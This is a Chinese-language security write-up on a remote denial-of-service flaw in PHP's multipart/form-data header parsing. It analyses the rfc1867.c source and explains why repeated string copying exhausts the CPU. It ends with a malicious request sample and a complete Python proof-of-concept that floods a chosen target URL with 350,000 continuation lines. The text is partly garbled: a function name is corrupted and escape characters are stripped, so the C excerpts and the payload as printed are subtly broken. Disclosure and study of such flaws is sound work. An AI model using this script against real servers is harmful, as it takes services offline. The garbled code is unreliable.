PHP multipart/form-data 远程DOS漏洞

作者：LiuShusheng_0_
◆0 摘要

PHP解析multipart/form-datahttp请求的body part请求头时，重复拷贝字符串导致DOS。远程攻击者通过发送恶意构造的multipart/form-data请求，导致服务器CPU资源被耗尽，从而远程DOS服务器。
影响范围：
PHP所有版本◆1 漏洞入口

PHP源码中main/ rfc1867.c负责解析multipart/form-data协议，DOS漏洞出现在main/rfc46675pxultipart_buffer_headers函数。
在详细分析漏洞函数前，先分析进入漏洞函数的路径。PHP解析multipart/form-data http请求体的入口函数在SAPI_POST_HANDLER_FUNC(rfc1867.c中的函数)，代码如下。
#!c/* Get the boundary */boundary= strstr(content_type_dup, "boundary"); if(!boundary) { intcontent_type_len = strlen(content_type_dup); char*content_type_lcase = estrndup(content_type_dup, content_type_len); php_strtolower(content_type_lcase,content_type_len); boundary= strstr(content_type_lcase, "boundary"); if(boundary) { boundary= content_type_dup + (boundary - content_type_lcase); } efree(content_type_lcase); } if(!boundary || !(boundary = strchr(boundary, '='))) { sapi_module.sapi_error(E_WARNING,"Missing boundary in multipart/form-data POST data"); return; } boundary++; boundary_len= strlen(boundary); … … while(!multipart_buffer_eof(mbuff TSRMLS_CC)) { charbuff[FILLUNIT]; char*cd = NULL, *param = NULL, *filename = NULL, *tmp = NULL; size_tblen = 0, wlen = 0; off_toffset; zend_llist_clean(&header); if(!multipart_buffer_headers(mbuff, &header TSRMLS_CC)) { gotofileupload_done; }SAPI_POST_HANDLER_FUNC函数首先解析请求的boundary，
◆2 漏洞函数multipart_buffer_headers执行逻辑

进入漏洞函数，本段先分析漏洞函数的执行逻辑，下一段根据函数执行逻辑详细分析漏洞的原理。multipart_buffer_headers函数源码如下：
#!c/* parse headers */static intmultipart_buffer_headers(multipart_buffer *self, zend_llist *header TSRMLS_DC){ char*line; mime_header_entryprev_entry = {0}, entry; intprev_len, cur_len; /*didn't find boundary, abort */ if(!find_boundary(self, self->boundary TSRMLS_CC)) { return0; } /*get lines of text, or CRLF_CRLF */ while((line = get_line(self TSRMLS_CC)) && line[0] != '' ) { /*add header to table */ char*key = line; char*value = NULL; if(php_rfc1867_encoding_translation(TSRMLS_C)) { self->input_encoding= zend_multibyte_encoding_detector(line, strlen(line), self->detect_order,self->detect_order_size TSRMLS_CC); } /*space in the beginning means same header */ if(!isspace(line[0])) { value= strchr(line, ':'); } if(value) { *value= 0; do{ value++; } while(isspace(*value)); entry.value= estrdup(value); entry.key= estrdup(key); }else if (zend_llist_count(header)) { /* If no ':' on the line, add to previousline */ prev_len= strlen(prev_entry.value); cur_len= strlen(line); entry.value= emalloc(prev_len + cur_len + 1); memcpy(entry.value,prev_entry.value, prev_len); memcpy(entry.value+ prev_len, line, cur_len); entry.value[cur_len+ prev_len] = ''; entry.key= estrdup(prev_entry.key); zend_llist_remove_tail(header); }else { continue; } zend_llist_add_element(header,&entry); prev_entry= entry; } return1;}multipart_buffer_headers函数首先找boundary，如果找到boundary就执行以下代码，逐行读取请求的输入以解析body port header:
#!cwhile((line = get_line(self TSRMLS_CC)) && line[0] != '' ) { … }当使用get_line读入一行字符，如果该行第一个字符line[0]不是空白字符, 查找line是否存在':'。
如果line存在字符':'：
value指向':'所在的内存地址。这时if(value)条件成立，成功解析到(header,value)对entry。调用zend_llist_add_element(header, &entry)存储，并使用prev_entry记录当前解析到的header，用于解析下一行。
否则，line不存在字符':'：
认为这一行的内容是上一行解析到header对应value的值，因此进行合并。合并操作执行以下代码。
#!cprev_len= strlen(prev_entry.value);cur_len= strlen(line);entry.value= emalloc(prev_len + cur_len + 1); //为合并value重新分片内存memcpy(entry.value,prev_entry.value, prev_len); //拷贝上一行解析到header对应valuememcpy(entry.value+ prev_len, line, cur_len); //把当前行作为上一行解析到header的value值，并拷贝到上一行value值得后面。entry.value[cur_len+ prev_len] = '';entry.key= estrdup(prev_entry.key);zend_llist_remove_tail(header);首先，为了合并value重新分配内存，接着拷贝上一行解析到的value值到新分配的内容，然后把当前行的字符串作为上一行解析到header的value值，并拷贝到value值得后面。最后调用zend_llist_remove_tail(header)删除上一行的记录。执行完后获得了新的entry，调用zend_llist_add_element(header,&entry)记录得到的header名值对(header,value)。
◆3 漏洞原理

在multipart_buffer_headers函数解析header对应value时，value值存在n行。每行的字符串以空白符开头或不存字符':'，都触发以下合并value的代码块。那么解析header的value就要执行(n-1)次合并value的代码块。该代码块进行1次内存分配，2次内存拷贝，1次内存释放。当value值越来越长，将消耗大量的cpu时间。如果以拷贝一个字节为时间复杂度单位，value的长度为m，时间复杂度为m*m.
#!cprev_len= strlen(prev_entry.value); cur_len= strlen(line); entry.value= emalloc(prev_len + cur_len + 1); //1次分片内存 memcpy(entry.value,prev_entry.value, prev_len); //1次拷贝 memcpy(entry.value+ prev_len, line, cur_len); //1次拷贝 entry.value[cur_len+ prev_len] = ''; entry.key= estrdup(prev_entry.key); zend_llist_remove_tail(header);//1次内存释放◆4 利用

构造像以下恶意的http请求，当存在350000行an时，在我的测试环境中，一个http请求将消耗10s的cpu时间。每隔若干秒，同时并发多个请求，将导致server端cpu资源长期耗尽，从而到达DOS。总的来说，利用方式和Hash Collision DOS一样。
------WebKitFormBoundarypE33TmSNWwsMphqzContent-Disposition:form-data; name="file"; filename="saaa………a"Content-Type:application/octet-streamwhy is it?------WebKitFormBoundarypE33TmSNWwsMphqz◆5 POC

#!python'''Author: Shusheng Liu,The Department of Security Cloud, Baiduemail: [email protected]'''import sysimport urllib,urllib2import datetimefrom optparse import OptionParserdef http_proxy(proxy_url): proxy_handler = urllib2.ProxyHandler({"http" : proxy_url}) null_proxy_handler = urllib2.ProxyHandler({}) opener = urllib2.build_opener(proxy_handler) urllib2.install_opener(opener)#end http_proxydef check_php_multipartform_dos(url,post_body,headers): req = urllib2.Request(url) for key in headers.keys(): req.add_header(key,headers[key]) starttime = datetime.datetime.now(); fd = urllib2.urlopen(req,post_body) html = fd.read() endtime = datetime.datetime.now() usetime=(endtime - starttime).seconds if(usetime > 5): result = url+" is vulnerable"; else: if(usetime > 3): result = "need to check normal respond time" return [result,usetime]#enddef main(): #http_proxy("http://127.0.0.1:8089") parser = OptionParser() parser.add_option("-t", "--target", action="store", dest="target", default=False, type="string", help="test target") (options, args) = parser.parse_args() if(options.target): target = options.target else: return; Num=350000 headers={'Content-Type':'multipart/form-data; boundary=----WebKitFormBoundaryX3B7rDMPcQlzmJE1', 'Accept-Encoding':'gzip, deflate', 'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36'} body = "------WebKitFormBoundaryX3B7rDMPcQlzmJE1nContent-Disposition: form-data; name="file"; filename=sp.jpg" payload="" for i in range(0,Num): payload = payload + "an" body = body + payload; body = body + "Content-Type: application/octet-streamrnrndatadatarn------WebKitFormBoundaryX3B7rDMPcQlzmJE1--" print "starting..."; respond=check_php_multipartform_dos(target,body,headers) print "Result : " print respond[0] print "Respond time : "+str(respond[1]) + "seconds";if __name__=="__main__": main()